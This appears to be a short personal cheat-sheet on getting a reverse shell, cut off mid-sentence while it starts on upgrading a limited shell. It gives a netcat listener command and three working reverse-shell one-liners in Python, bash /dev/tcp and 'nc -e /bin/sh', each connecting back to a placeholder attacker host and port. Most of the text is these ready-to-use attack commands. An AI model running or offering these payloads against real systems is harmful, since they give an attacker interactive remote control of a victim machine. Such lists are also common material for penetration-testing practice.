Get a Reverse Shell This is alist of reverse shell ways I've used over time, and it'll be updated when I find and use successfully another one. In order to get a Reverse shell, first we need to have is a listener in our local machine. Just take note of the port used and the local IP address (lhost), those will be also used in the command used in the remote machine. The simpliest way is with netcat as follows:  nc -nlvp <PORT> python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' bash bash -i >& /dev/tcp/<LHOST>/<PORT> 0>&1 netcat nc -e /bin/sh <LHOST> <PORT> Upgrade shell Usually when we get a reverse shell successfully, the shell is limited, we can realize of that because we we try to autocomplete a command or a filename,
